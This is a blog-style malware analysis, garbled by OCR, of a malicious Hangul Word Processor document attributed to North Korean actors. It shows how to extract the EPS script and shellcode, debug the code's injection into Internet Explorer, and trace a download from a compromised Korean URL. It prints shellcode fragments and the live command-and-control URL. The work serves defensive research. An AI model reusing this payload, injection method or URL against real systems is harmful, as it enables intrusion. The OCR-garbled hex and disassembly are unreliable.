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A few days ago, ESTsecurity published a post detailing a newly identified malicious Hangul
Word Processor (HWP) document that shared technical characteristics with previously
reported malicious activity attributed to North Korean threat actors (an important note: this
particular group is not typically associated with or clustered with the SWIFT/ATM adversary
detailed in other posts on this blog, although this blog avoids using specific vendor naming
classifications where possible).

The Hangul Office suite is widely used in South Korea; in the West, it’s significantly less
common. As a result of this, there is limited public documentation regarding how to analyze
exploit-laden HWP documents. This blog post is intended to provide additional
documentation from start to finish of the file identified by ESTsecurity. As such, the language
used will be somewhat less formal than the content typically posted here.

The following tools (in a VM) are recommended for analysis:
1) Cerbero Profiler (advanced or standard)

2) Process Hacker

3) Ghostscript

4) Any debugger (I prefer the x96 suite)

S5) jmp2it

5) Hangul Office (optional) + a listener (e.g. FakeNet, Inetsim)
6) scdbg_(optional)

S— N N N N N

| purchased my copy of Hangul Office on Amazon a while back. The English language
version is typically vulnerable to the same exploits. Cerbero Profiler has a trial version that
will work for this analysis (though it's a great tool and deserves a purchase).

As a final note before analysis, two previous posts from other researchers deserve
recognition: Jacob Soo’s post pointed me towards Cerbero Profiler (and discusses some
important HWP characteristics), and a post from Wayne Low at Fortinet has some great
introductory material for debugging Encapsulated PostScript (EPS).

Step 1: Triage and Analysis of the Document

MD5: f2e936ff1977d123809d167a2a51cdeb
SHA1: 7a86e6bffba91997553ac4cfObaec407bc255212
SHA256: 5d9e5c7b1b71af3c5f058f8521d383dbee88c99ebe8d509ebc8aeb52d4b6267b
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A copy of Hangul Word Processor isn’t strictly necessary to analyze the file in question. If we
do have a copy and use it to open the document, we’ll notice two key events: the document
will spawn a copy of Internet Explorer, and the analysis environment will make a network call
to a compromised Korean website. This information is useful later on, as it gives some basic
guidelines for what to expect when analyzing the document’s payload.

Opening the file in Cerbero Profiler will show several of the document’s different streams and
objects. For malicious HWP files (including the one discussed in Jacob Soo’s 2016 post
noted above), there will be malicious JavaScript present. In this case, we’re instead
interested in the contents of one of the streams, BINO0O3.eps. The contents in these streams
are usually zlib compressed, and Cerbero Profiler can apply filters to them to decompress
them:
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K-8 @ DOHE Rek % ow w ol EC # SHA-2/255 ¥ | SD9ESCTBIBTIAF3CSFOSEFE521D383DBEEBECISEBERDSO0SEBCRAEBS2DABE26 78 o
o heacy B | & Roots 4 Janalyss [BmN0003.2ps] & x
MName Risk Group Format [ Text [o‘m ]
+ [d badwp 40% Document CFBF
4 @l Images DEfser 0 1 2 3 4 5 6 7 8 9 ABCDETF Ascii -
& Primage 0% Image GIF noononnn D 97 FF 6E 23 €7 11 84 FFOE OF 42 2F L0 64 77 [F —
00DDODLO 9 25 75 40 90 77 91 €6 3B C7 40 62 IF 9 73 EO Copy d
000000z 20 CB BB AT BE EA 99 DD 99 D9 59 92 27 19 A1 11 Edit v E
DoUDODa  §B 02 25 EE CE 4C 4F FF A8 AE EE FE D3 CB F 4F -
00000040 7F 3E BE OE CF €3 3C 9C 86 71 78 9E E7 E3 71 9E Position '
DouDons) ET ES 78 9E D2 CF FL 38 OC Sk 99 8E C7 6k DF 49 Search v
00000060 EF AB 53 C3 3C 9E Cé 93 FE SE 77 4E 9C 25 E1 32 N
00000070 1E 87 DT EL 75 3C 1D F7 76 0D DC 2F 09 F7 A4 8D View '
00000080 DA 27 81 5D DD A4 6B DB AD BF FB BB OE 95 05 3A Print *
000000an 73 FT CE CB 22 57 DF BA 37 CB Ak E5 E6 CB 34 ED
1 ] ‘|| 000000AD | GA B8 89 79 AT B4 9C 64 CD DD DB 31 26 9F 39 E9 Screenshot '
. - . 000000RD EL BL 33 8A 53 D6 EB AL 3B 14 A5 FL 53 1D 5B 5B Ranges v
Ld summary H Fomat B | & ouput 00000000 | 31 2B DA AF FA EB F8 64 DF 76 F6 3A 76 EB DE Fl f— .
i Header 000000LD 83 F6 0B 59 8A FB 28 0B AB D3 C8 ES AE LA 7F 73 v
erer DOUDDUED B9 67 9C 4F DE 75 1E 07 49 B9 OF 2F 03 51 33 IE
) i 2:“:"'“ 00000CFD 3B 92 ED D3 36 AA BC DL F9 71 90 27 3A BT 8L A3 Duplicate view Ciri+Alt+D
i Root Entry 00000100 6C CF 8D DB 02 6D 8D F4 88 C1 B3 B4 51 5E E3 30 =
4 @ BinData 00000110 18 AF F5 6D 65 8E 76 F7 38 SE 86 F3 B2 F3 38 4A Fiter... Cut+ T
I BINO0OL jpeg 000001z 31 9D 90 97 86 €9 79 51 66 L5 B6 ZE FB 5B 49 63 Toad selection s CWi-E
L5 BINOOO 0ooooLa0 ET AC ES 84 9F 24 BS 8B 50 6C ED F9 01 44 AF 77
n0onlan FS 32 7E 9E £9 D9 22 E7 67 9D 39 TE 48 48 D4 AD
DoDDOLs) A 91 2€ D3 ED 13 36 FS 59 63 E3 CL 35 AT OF 4l
000nnlEN 38 C6 CF BE FE C6 43 AL 45 C3 43 D6 F1 20 48 OA
H o Not used in this analysis, but 00UDOLT D Ch DD ED 69 EB 93 F7  AF B& 6D 6E 89 DC B3 6E .
- 0000010 FA 59 CF ED 03 3C DE D8 DE 46 BZ 2F OF DD 5B 79
DeFatinsscripy "el€vant for other files 00000150  BE CF 9B 25 2A 7B 37 12 4F 64 D4 9E C4 87 10 23
00000LAD IC 6E 32 ET 34 A3 FD 30 C4 FC 96 51 55 AZ 69 61
. E’ ’S:”pw‘“"’" 00000iED EL Lk EL 3% 87 EF 21 B4 42 SE 23 57 19 D8 C5 E0
i BodyText 000DOLCO  SA £S5 DT 8C TA FS BE 12 99 UB FB 76 30 FA AE 1B
El Sectiond 00000100 48 E4 6E 6F DC CL FO AD 1B IF 40 F6 69 4€ DS AE
H Primage DoDDOlED EE 6C 9€ 2F F7 90 5D 73 AL F5 7B 27 17 5k 46 Ak
4 | DocOptions 00000LF 45 FF 77 SC F8 50 34 54 IF DF C4 33 81 BE OF 6A
H LinkDoc C47E C5 3C F3 50 D4 7B FD C8 69 AE 7B OF 47 Fh
. 11 9F 7% 77 OE 4A C6& AF 25 07 LIF F2 9E B8 FF aD
Ell FileHeader 39 F3 5B F6 FO 57 E4 CC 43 51 28 E7 3E 4F 0A BD
Hl \SHwpSummaryinformation 89 A5 99 74 CE DD F9 47 D3 EQ 5D 2E 3B 3F DO 7B
i (unlinked) 9D 49 6D ES FC D9 95 5F  4E A3 A3 7F 6C 7E 89 ID
EB FC 82 95 B E7 17 DB D2 4C 93 F9 CE 55 1D E9
38 3C CF D6 B3 EB 7F C2  B6 35 3 BL 9E BB E4 32
6E FO 46 BA BF ki DF 5B 89 78 AZ EC LD 13 9B 6C
27 C8 Ak OF 93 BS OF C4  FE 4C ED D9 64 E0 B9 9E
F5 BA B3 DO 63 51 64 1A 28 BD B 99 38 B3 EC 48
CF CC 12 ED 44 DA F1 D5 A6 72 BE 21 1E 61 71 seveDesssEels
1B BT DE 64 05 63 15 F3 EE 43 3£ 7E EB 04 72 76 ...d.c...
6F DC 64 BB 9E 0B C4 EF C4 A6 EE EF 2C A7 9F D3
5D BF 7B Ak FS 89 71 10 SE 37 F8 18 9C 99 B7 3B 1.{...
0DODDOZED 96 C1 98 DD EA 9E 33 27 64 EC CF Bk 3E 9F 6A DS ...
O0000ZFY 38 79 CE LD 7B 58 6D EF 29 CF 79 6E CD 56 64 4F -
Cursor: 0 Selection: 0 Size: 1963

In the “Format” tab, select all_of the content of the stream, right click, and hit “filter.”
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Scroll down to the “unpack” category and select “zlib.” Check the box for “raw” and click
“add.” Then click “Preview” in the bottom right, select all, and copy the “Ascii” contents.
The above images detail the steps for copying and decompressing the contents of the EPS
stream. Pasting these into a file will reveal a relatively simple EPS script.

Step 2: Analyzing the EPS script

PostScript is a stack-based programming language first conceived by Adobe in the 1980s.
The documentation for the language is nearly a thousand pages long. | do not recommend
reading it. Encapsulated PostScript is a fork of this, with restrictions. The documentation for
this is significantly shorter, but still probably not necessary. | would stick with Fortinet’s
overview.

The key concept for an EPS file is that each command is added to the top of a (clearable)
“stack” in the order that it's typed. Below is the EPS script we copied from Cerbero (pasted
into any text editor):

}for
The decompressed EPS script
Even without truly understanding the EPS language, we can infer what’s likely happening
here. At the top, a (truncated) set of hexadecimal bytes are added to the stack. A series of
variables are defined, a transformation is applied to the bytes, and (presumably) the “exec”
function is applied to the results of this transformation. Even though we might not know
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precisely how to interpret this transformation, we can assume that there is a second layer to
this script. In other programming languages, we might tell the script to Alert, MsgBox, or Print
the executed value (instead of executing this value), and EPS is no exception. Substitute the
“‘exec” commands with a single print:

0102444b0805060108564408050601085544051616051d44000102444b08

Replace “exec exec” with “print”

We also need something to actually run the EPS file. Ghostscript supports EPS execution
and is a relatively quick install. Ghostscript comes with a GUI/Shell version and a command-
line version. For this, we need to use the command-line version, as the shell won’t render all
of the data that gets printed and thus we won’t be able to copy and paste it. Open up a
command line prompt and copy the syntax below (noting the inverted slashes on a Windows
system and the parenthesis- these were derived from test dragging files into the Shell
version to determine the proper syntax).

Microsoft Windows [Uersion 6.1.76011

Copyright <c? 2889 Microsoft Corporation. All rights reserved.

C:sProgram Filessgssgs?.26%bin>CislserssNeullzersDesktopsnew.eps

C:sProgram Files“gsgs?.26%bin>gzwind2c.exe

GPL Ghostscript 7.26 (2018-11-28>

Copyright <C> 2818 Artifex Software. Inc. All rights reserved.

Thiz =snftware conmes with MO UARBANTY = =zee the file PUBLIC for details.
aa 2 (C:rlUserss/HewlsersDesktop-snew.eps? rung

Executing an EPS file with Ghostscript
Hit enter, and it will print the contents. From there, copy and paste the content of the console
into a new text file:
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label6? exch def ~label3? lahel?4 labelt? get label?3 labelt? get szub def lahel3
9 B ne {exit} if ¥ for label3? > hind def ~label?? <FB7A7090909090909090:80000008
AA5eh?3414e20081e98814e280003f183c6B28aB6349846h%chldeZBB81e?3914e2803006464783F 9
BAYSEYehB3909877?0edde3ePe7?8346dPePePePbcaYehbca P hochPef6 79 fhf foce 7921260252402
6cBhhlibB6c?2efd418d4271b4b632793eB2628eaed4ifBcl136c2B8h8h?baZ5e3e?hb26cBhh4blihB@7?787
bcPaehbcBaefboca2dbdlboch3cf9fed326cadf fochdePed43abdccaebedlboedl 2hbbob4hBh1iBr 491818
18h8bchedc2B?28f6chdecied3allbecebacbchdfbediabocedbeed22Bce2bfebeYeePoealc3fh?786
h8h%hchalbefe?b26cBhb64B8bf 7h4bl6c1 P8 P72 d89h1BFf6h1818188F468dda3fhlbea21 fBF9918
18188f3a7h5a?5blbea2l138f971818188f57aecaichlbeaZzl YOFf851818188da78fe?f 7eTe7beazlhb
GabBeebePe?h?d43ch41892ef18b21f6c1Pdec1493c88dFf318b21bb4bB1892ebbhl11892ef18h21362
2793fd8dd518b21bb4b4biblibh4b41892ef18h217622793e2d427aV8ce5d427h?bc2e24b26cBhb68h
dfebePe?hdblbB6cl1?8Ff42fBe79hd43chl2B8a2B87868h809220a2039482959420a20F 979588812042
Bh8edhiZ2e?20aZ22bbbb3828a2Pa23797hh?38f20a233928a85c220a23f8385e7e720a23beTe7e7e?
G6ebhalbhBf571918188FF1821df 7?h16ea213B8f451918188f844eB615bh16ea2178Ff731918188f1c781a
efhlocifBf6A1918186ea21f8feTebe?e?bab22f191818hY6aa287h718306ea21bdc24%2e3d4278c
a28deZ2behdBf67ePePe?8dedbdb46abbhef2f1918188feVePe?6?6a622F1918186a9220hh 714421802
136c17641918932ab46aa22fh78de36aa21bb?bl18b217?hi18b21f6caZzlibb8b?hc2e24b26cBhb68h
dhebePe?hdblbB6c1?Bf1a1918186ea21bb227el63i6feYee?8fBa38b303b108f131a18188fadB291
alhl6clfAfAR1al18188f1c7PlaeBhlbc3fBf3dialBi88f5Yaecaichlbea2l138f2hl1alB188fcd41c?6
18h16eaZ21fBf591a18188de?8deSbea21 P20622Ff191818cfebe?e?18306c1 764191893 caldB31802
1fBcf3I18b2176a620b121818h70f8al1al818dcaZzibh?3fe6ab22f1918180h7h1183462279232h11802
13d427h8h%bc2e24d427a78c11b26cBhb6BhlhePe?e?hBA8ddad42?hebabaef181818hB8144chi2BeB
F48f828hZ2PaBe38bd4d5c?2PaBef838h8he P8 67a%e9B8h18%2efd427AfcB81a18186227e8632de7e?
e?hB18376227eB6358ePePe P00 00?08 f5e52cf2hPd42V7BfeelalB186227e86343e7PePeha
72ef1818188de?8dc1b58de 71837622 7e863baeYe?e?0a5aef1818186deB632793e4aBBc1828eBhh
aeB99320aBe3B295898220aPef93c7a29f20aBeh?78hE8 95 20aBf 782950 hEe2BaBf 3829F978h20a0
fFE889582c220aBfhB829Ff82e78F951954F118%2efd4272BaZ243a3dePePe?20a237ebeTeTe?816ea23d
Bf641bh1818622793c56aaaBbbbbaaad3ibbd42ebbhbBdelibohoh66a?2ef1818180h5h61837183Ffc27
c4aZzBbhh82e24b26cBb64831fh4bBBf223fB574biBf a1 bhi8188f57aeca3chlbc3fBfddibhi8186cif
Ge21BFF3191818622792c58f2fePePe?1830b1BF52191818he622793F71892ef6cPaebhbhP6c218f 80
1hi818bebe8de?1834b8hcbcB2haZz4b26cBbhobh4bihBBf5dici18186ea21bBfeTeTeTe?h?5e?df £ A5
e?66BedcffAS5ePed416d42eb6deld3??6dB7al1816ce?81d42F6421e56c39b6dPelacalbdlee??2186c
21hh4Bf h?1818186423c3d427hc2e24777788271bfB1818181846a1a30a581899F1970a58181he?
hdela%21e2cBB5eal?dBd581899f1d80ab818281e5e51%bel186deff31 088880871 f62a9898Ff 39
af?89789813d89413d88413c89018eB84801398ed6d135a5bcd1374cecf13ed?Babb7abh5864341c58
ec?fL957959h6A?36c135f cPchbeb5a%cP8ecdl13P4chececfBEF813e59413F59013ddadael3cchBeB%h
4d13d280813c2b89b457bb3d113ac132hbdePchefecePBI6676767c?c3c1a35fed?B13c2hbe?h45feld
94d313c2849h45139c139h5d4739d4289998989811dcheB84B8Ff 9c?cbc3c55a9098cd13741974c 8998
F8cecf1368fA16d6674ceB116 7670 7FA7?56 78 8cel 3ol YRed46 76767 fA28d1b543ce7Be?6 76767
fALh63A96fcellddeB?BF b6 7676 711dd6415dd48c85Ff dd48ef F1Ff6F15Ffdd4cf6fdechbSfdd4B8fcf4
f498674f1368ab67a36fed?fab58717e?82828chfBhlde YBcfcePAhZ6 7676 7FAA1759 Pebocel 34878
L6V PFA13d37be Pcelldd?A7A? P66 6 PEASEF18362cel1dd 4789967676 Pcfcfefefef11dd68
ahoe5fddZ28dfhfbfd5fdd2ceBecaZ2bi5fdd2Bb2h?h2955fdd2492959298674h134811c57cai4?ec
56 7cdb4f 2926 7cdbBcf FATEE989cf29715dd28c867ed?Bchb7cd?011dd6AalSfedPech6?cd6l873
dd6Ycd6423989c?89873hdaleSbceca2l151d28636767eedflle564129813cd?41894aadedB67ddb 4
13d564a3d56cea?315ddbccB8chl51d28636767cB6PedbB6YPcd?41d58ed5dabs8 73966 7edbB6 Pcdb g
|6 7ed?c6?cd6B135%ecIc?c6515becdl1374cPcheecf fBec52370267ed?870aB666 767 2d8FA?8AB2878
fAYE981898F 29867481 bfd6498f29c1368c713dd9BcebPed?4PHeabbb?6?clicl1ab51134f38%hedi 4
1d58ec8@1386a35feb?1ab?48e?h4fai48ed6fab58a341970c5873%aab581d58ed?867ddbdaleshd
ed58aleS56d4ec?B?b6fl1ledb46PcdbdecPebedS15hedl3P4cecf YAIB656767cB7098989898ch21248d
d8781971138dd898d9138c?6196208080808edb6c?h691h5e%c12%edel28edeab51aB8%c?6665%a252

edbfl15aecBcecB?Bale?6767c7abbBchS15hABAEARAELL24d3cfcfchB19494d2cfd4dacBcBd595d6
d2c?deded5de?5d8d475d8c2284c8d3d4ch?4cB8dId4ch?4d6dad2d?74d8d4d674d6ced594df d4ccdb
25chdIch1811111111111111> def B 1 label?? length 1 sub { #labellBl exch def lahe

Printed second-layer EPS script. The boxed brackets represent the boundaries of the hex
array to be copied into a file for analysis.

At this stage, we can infer that we likely have executable shellcode: the beginning of the
large byte array begins with a 0x90 “nop sled.” Copy just the hex array as bytes into a hex
editor (such as HxD) and save the file. We can move on to the next analysis step.

Step 3: Analyzing Shellcode

The dumped bytes don’t represent a compiled program; rather, they are raw instructions of
executable code. There are two great tools that can help triage and analyze this code:

1) scdbg- Emulates the shellcode and highlights key API calls
2) imp2it- Executes shellcode in an attachable, debuggable program
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By performing a quick triage with scdbg, we can get a bit of a head start on the shellcode
that we’re about to examine (note: | had initially redacted the username in some images):

C:xUseprs™ “Desktop~scdhy (1>>scdhg.exe ~api ~F "C:slUsers* “JDesktop~szhellcode — Copy*’
Loaded 812 hytes from file C:slszerss “Desktopsshellcode — Copy

Initialization Complete..

Max Steps: 20088008

Using hase offset: Bx481808

40120c GetEnvironmentUariabhlefA{name=allusersprofile, huf=12fh48, size=100> =
41458 Sleep<Bxcl>

4@135%a LoadLibraryA<{shell32._d1ll>

4@138c SHGetSpecialFolderPathAChbuf=12fccec. C:nProgram Files)

401477 ExitProcess{@)>

We can see a handful of API calls, including one that resolves the folder path for the
Program Files directory. However, our initial execution of the HWP document indicated that
the sample would launch Internet Explorer and issue a network callout. The API calls above
are insufficient to perform those two tasks; hence, we need to debug the shellcode to
determine what’s “missing” and why that might be.

The jmp2it tool will execute shellcode beginning at a specified offset (in this case, 0x00 will
work as that’s the start of the “noop sled”) and can pause it in an infinite loop while we attach
a debugger. It provides additional instructions for patching this loop and jumping in to the

next function.

C:vUzerssHeuwlzer>"'C:slUserssHNewlsersDesktop~gmp2it <1>_exe' C:UserssHeuwlsersDesk
topwzhellcode BxBHE pause

JMP2IT vi_.4 - Created by Adam Kramer [2814]1 — Inspired by Malhost—Setup ¢

As requested. the process has heen paused =

proceed with debugging:
Load a debugger and attach it to this process
If it has paused. instruct it to start running again
Pauze the process after a few seconds
MOP the EF BE infinite loop which wou should he on
L. Step to the CALL immediately after and then ‘step into’ it

=== You will then be at the shellcode ===
Debugging the shellcode itself requires a bit of practice. In this sample, immediately after the
noop sled, the first routine begins decoding additional code (and thus, modified the code):

G

e (| 000D00C A EE 00000000 call <sub_DOOOF= call $o0
[E] # | oooooooF | s SE pop esi sub_DOOOF
. 010 o B9 3414E200 mov ecC
. = B1E9 0814E200 sub
. 03F1 add es
- B83C6 02 add esi,z
. BA0EG mov al,byte ptr ds:[es
. 34 90 xor al, 30
. 46 inc esi
. B9 CE1BE200 MoV 2CX
. o B1E9 3914EZ00 sub ec
r--e > 3006 xor byte ptr ds:[esi],al
i . 46 inc esi
! ™ 49 dec ecx
! . . B3F9 00 cmp ecx,0
L L.~ 75 F7 jne DO030

’—: : ~ EB 03 J'flp DOOZE
The “analyze” button (both be;%ore and after a'h-y routines that change the code) will help
highlight specific functions.
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As the code is relatively small, single-stepping through is not as daunting as it might be for a
larger sample (though, stepping out of loops that you already understand will certainly save
time). One of our questions from the triage was identifying additional API calls and next-step
functionality. For the former, look for (and comment/label) functions that are repeated often:

ES 47FCFFFE
68 EO492DDE
H3

BEDE ebx:sub_D04D0+3

ES 3IAFCFFFF

SEFE I N N
SECE EAX 63214F <kernel32.ExXitProcass>
ES 14FEFFFF EBx DOODLSDS

85C0 ECX 00000000

EDX 775E0000 kernel3z.775E0000

75 22

68 EEDDDDDD EEP 0030FBES

FFD7 ESE 0cC EOQ
56 ESI 77 00 kernel32.775E0000
E8 BSFEFFFF EDI  000DO0OO
59 pop ecx

B5CO test eax,eax EIF  000D0437
74 10 je DO473 0 1

FF75 08 push dword ptr ss:[ebp ebp+8) 1 |epacs i
gg.n oc ;i;”‘éz:a“o d ptr :liebp+C ZF O PEO AF O
8BCE mov_eax,esi OF 0 SF O DF O
E8 GCFCFFFF €all <sub_DOODD> CFO TFO IF1
59 pop ecx

59 pop

FFD3 call =bx ebx:sub_D

5F pop edi

5B p ebx:sub_D04D0+3
BEES mov

5D pop €0Dp
c3 ret

The boxed routine on the left returns an API to the EAX register.

Ultimately, this shellcode stage will take several actions: it will attempt to open a (non-
existent) “thumbs.db” file (not pictured), and it will launch a suspended copy of Internet
Explorer, inject additional code into its memory (using more resolved API calls) and then
create a remote thread in that process to execute this code:
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ard

mov dword
mov dword
mov dword
dword

mov dword ptr
mov word ptr

Call sHGetSpecialFolderPa

L
call <sub_DOOTE>

Call CreateProces

dword ptr

=y prr ss:f
€811 <API_Functions

Handle
45

1

7 can
. T I==

# = | jopZit (1).exe
€& iexplore.exe

call CreateRemoteThr

XOr eax,

jmp Do16D

000D03A0

jmp DO39A

Access

pevice'\Harddiskvolumez'\User s\ NewUser

PID: ADE

MNewUser-PC\NewlUser
Newlser-PC\Newlser

276 kB Newlser-PC\Newlser  Internet Explorer

Writing code to, and creating a remote thread in, the Internet Explorer process

Nindows Command Processor|
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We do not want to step into or over the CreateRemoteThread call. Instead, we want to dump
the executable section of code from the suspended Internet Explorer instance, and repeat
the debugging steps.

& iexplore.exe (2776) Properties = = Y
General | Statistics | Performance | Threads | Token | Modules | Memery | Environment | Handles | GPU Comment
V| Hide free regions Strings... | | Refresh
Base address Type Size  Protect... Use Total Ws Private WS
Q77347000 Image: Commit BB WC C:\Windows\System324ntdll. dll 4kB
0x138c000 Image: Commit 4kB  WC C:\Program Files\Internet Explorerj... 4kB
Ox 77871000 Image: Commit 856 kB RX C:\Windows\System324ntdll. dll 4kB
0x 13531000 Image: Commit 44kB RX C:'\Program Files\Internet Explorerj... gkB
Ox50000 Private: Commit 4kB M 4kB 4kB
0230000 Private: Commit 3B RW4G Stack (thread 2800)
O 7Rd000 Private: Commit 4kB AW TEB (thread 2300) 4kB 4kB | |
Ox7ffda000 Prid & * jexplore.exe (2776) (0x50000 - 0x51000) =
Ox232000 Priv
040000 Prill| nononono e 00 00 00 00 Se b9 bk 12 40 00 81 €9 8F 12 40 ..... L & ~
010000 Prid | oooooolo 00 03 £1 23 c6 02 8a 06 34 90 46 b9 85 15 40 00 .veen... 4.F...0
O 7ffe0000 Priu 00000020 81 9 cO 12 40 00 30 06 46 49 83 £9 00 75 £7 eb @.0.FI u =
Ox7ffboo00 Ma 00000030 03 90 90 10 &9 ee 32 B0 B0 24 21 kO 20 20 20 Ok b A L
Ox77ah0000 imd | 00000040 co 8c Ob cO 9c Ob dO 88 00 £8 9c 98 Ob 80 £5 75 seeveensannenns u
77950000 md | 00000060 20 04 40 £4 87 45 42 54 23 78 &b 74 b 47 4 de |0, A0 kR,
______ 0 2c 0 0 £4 &7 £ ad 83 78 74 0 7 df de , . @..RD..XKL.G
077870000 M3 00000070 ad 42 84 80 d5 Ob 6c d3 d6 d7 10 €0 Ob £d Bc OB Buueolewenn....
0138000 M3V 00000020 ed 82 Ob 5 be b6 Ob d4 a8 £8 83 55 0B & 98 0B «vennenn... U
0x 1380000 Im3sl nopooooso da ab 83 Sd 63 &b c9 Ob bd Ob 83 75 dl d3 47 dé 1Ceeennn u
030000 Mg 0000000 &8 2e 7L 7f 7f df db d9 kb 47 £5 62 0b da &4 283 hewewvnn. G.h
Ox7ffe 1000 Priv 000000k0 54 6 0Ob Sc cb Ob da 9c 83 54 0k 84 0b 83 45 &b J.owewunnn 1 Ek
O 140000 Priv 000000cO B85 38 B1 20 B0 20 09 cd 24 9c 10 el df de db dd .8..cesnnnnnnnns
ooooo00don 88 B0 45 0k &c 01 6c 40 B84 20 B0 46 47 0b 70 B....1l.1leeeun.. T
P E 00000020 8 O ce Se 6c 46 62 09 7f 7L 7L e8 6f 4e 60 20 ....1l.0..... o™ .
— 000000£0 46 Ok 78 fc 7L 7L 7f e8 30 c9 ad Sb d6 68 £f1 ..xh.....0..[.h
3 00000100 7£ 7€ 7f 28 &3 Tk 11 77 46 09 c5 78 6B 3 7L TE ..... {.w
00000110 7£ 09 5 Yo 04 5 50 40 47 5 50 £7 29 ee 9 47 |euB.G.P &
00000120 5 54 ee 5 £4 ae 47 5 58 ed ec ec 80 7£ 57 Ob .T....G.X..... W
00000130 70 B3 7L bk 77 £5 B7 b3 40 69 66 20 20 20 43 28 p...wW Bif.....
00000140 a9 cd4 68 47 dé €8 aa 7L 7L 7L e8 c9 &d Bf fe df ..h..heuusn. m
00000150 0k 58 68 94 7f 7f 7f e8 Ob cb 63 df 46 09 25 68 .¥h...ouu.. c h
00000160 &8 2 7L TE 7L e8 47 €9 1b T7a d6 09 c5 6c 68 Bl h..... G..Z...1lh
00000170 7£ 7€ 7L 47 47 47 47 47 09 5 70 B3 76 47 25 30 ... eeinnnn p.wz.0
00000180 ¢l &3 &3 &5 47 5 34 £0 £4 ba a0 47 c5 38 aa af ....5.4....5.8
000001390 aa 2d 47 c5 3c 2a 8d Ba 20 7L 53 0b 58 09 dd 64 ..Ge<ennns 3.%..4
000001a0 bb 5€ £f4 ed 7f 45 Tc ea 8a 7L 45 78 47 e8 80 80 ._ | X 8
AAAAATIA On oA m~m O& A A~C 20 A 7& FC OO0 A9 & A £0 AN fal T
| Revead || Write || Go to... ||16 bytes per row - | Save... |[ Close

|dentifying an additional set of injected code
Running this code through scdbg suggests that we’re nearing the end:

UJirtualAlloc<hasze=0 , ==z=8HHAAAA

LoadLibraryAfwininet.d11>

InternetOpenf<l

GetTickCount<{>» = 29

Sleep{Bxad

InternetOpenlrlA<http:  “itoassn.mireene.co.krs/shop/shopsmail/comsmunsdown.phpd
GetTickCount<» = 4823

InternetReadFile<l, huf: 12f9?74, zize: 488>

InternetCloseHandle<1> 1

InternetCloseHandle<1) 1
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Now we see our network traffic endpoint (a compromised website) and a series of API calls
directly related to communicating with that location. Debugging this second set of shellcode
(with the help of jmp2it) will show a similar pattern: an initial decoding routine, following by

the resolution of the API calls needed to carry out the next task:

s

ES8 B9FFFFFF
&8 EFCEEOG&D
EE

BEF&8

EE FCFFFFFF
&5 BEO492DDE
56

E8 71FFFFFF
&8 ZIFB91F7
56

8945 FE

EE GZFFFFFF
8945 FC
BD4L5 DO

C745 DO F7696EGD
C745 D4 GEGST742E
C745 DE &46C&C0O0D

EE& ZAFFFFFF
68 49EDOFTE
1)

BEDS

E8 1DFFFFFF
&8 BB4BE3LF
56

8945 EB

EE& OFFFFFFF
68 C7G99BFA

o

call <sub_DOO074=
push GDEOCEEF
push esi

mov edi,eax

call <sub_DOO0o74=
push DEZD49E0D
push esi

call <sub_DO0o74=
push F791FBE23
push esi

mov dword ptr ssi

call <sub_DOO74>
mov dword ptr ss

Tea esax,dword ptr

push eax
mov dword ptr s
mov dword ptr s
mov dword ptr s
call =di

ﬂ'll:IV es1,edx
e -yt

oA

push
push esi
mov ebx,eax

push esi
mov dword ptr

febp-20, eax
:[febp-4], eax
ss: [lebp-20{

:[lebp-30f,696E6377
ifebp-2CJ), ZEF 465 6E
:[febp-25], 6CECE4

call <sub_DOO7F 4>
FEOFED 49

call «<sub_D0OO7 4>
push SFEZ4EEE

ss:[lebp-180, eax

call <sub_DOO7F 4>
push FASEESCT

LoadLibraryA API

Sleep API

GetTickCount API

eax: "wininet.d11”

eax: "wininec.d11"”

NTDLL.REIEXitUserThread API

Call LoadLibraryA (wininet.dl11)
eax: "wininet.dll™

InternetOpenA api

InternetopenUr1A API

InternetReadrFile API

1 push esi
5945 EC mov dword ptr ss:|[lebp-14],eax
ES O1FFFFFF call <sub_DOO74= InternetCloseHandle API
57 push edi
57 push edi
57 push edi
57 push edi
57 push edi
8945 FO mov dword ptr ss:|[Jebp-10f,eax
33F6 xor esi,esi
C745 BO 41636365 mov dword ptr ss:|[Jebp- SD],G5G4G441
C745 B4 70743A20 mov dword ptr ss:|lebp-4Cf,2 70
18E C745 BS 2AZF2A0D mov dword ptr ss:|lebp-48],D2A2F2A
D 2 C745 BC 0QAODOADD mov dword ptr ss:|llebp-440l, A0D0A
mm FFD3 £all =bx call InternetOpenA

And finally, these are used to communicate with the endpoint:

7;; eax,dword ptr ss:

50 push eax =\r n

FF75 08 push dword ptr ss: [ ]:"http: 5 ni reene. co. kr /shop/shop/mail/com/mun/down. php"
53 push ebx

FF55 E8 | call dword ptr ss:[ebp- 13] Call InternetOpenUrlA

8945 F8 mov dword ptr ss:lebp-slll,eax

Unfortunately, this is where our anaIyS|s ends without running the sample and capturing a
PCAP (or pulling one down from a sandbox). The next call is for the code to read the
response from the server and execute it; presumably, this is an additional layer of shellcode
(perhaps containing an embedded payload). Without that code, we can’t say for sure what
the payload might be; however, some quick pivoting on our initial code can help us make an
educated assessment:
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] File Edit Search View Amalysis Extras Window !

Yol M s 16 o] anm | hes e | fent“{SE B9 34 14 £2 00 51 E9 08 14 E2 F1 83 C6 02 | Search MHashes @ Select~ @ Download »

It would appear that “our” sample has a code overlap with a previously submitted sample,
and this sample communicates with a C2 previously highlighted in a Cisco Talos report.* In
that report, Cisco noted (and documented) a final payload classified as “NavRAT” delivered
using a very similar mechanism and containing the same file name from the ESTsecurity
report. If we were making an assessment, our best guess would be that we would expect the
same (or similar) payload here.

* Most likely, somebody took the older shellcode, converted it into an executable for analysis,
and uploaded to VirusTotal.
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https://blog.talosintelligence.com/2018/05/navrat.html
https://blog.alyac.co.kr/2140

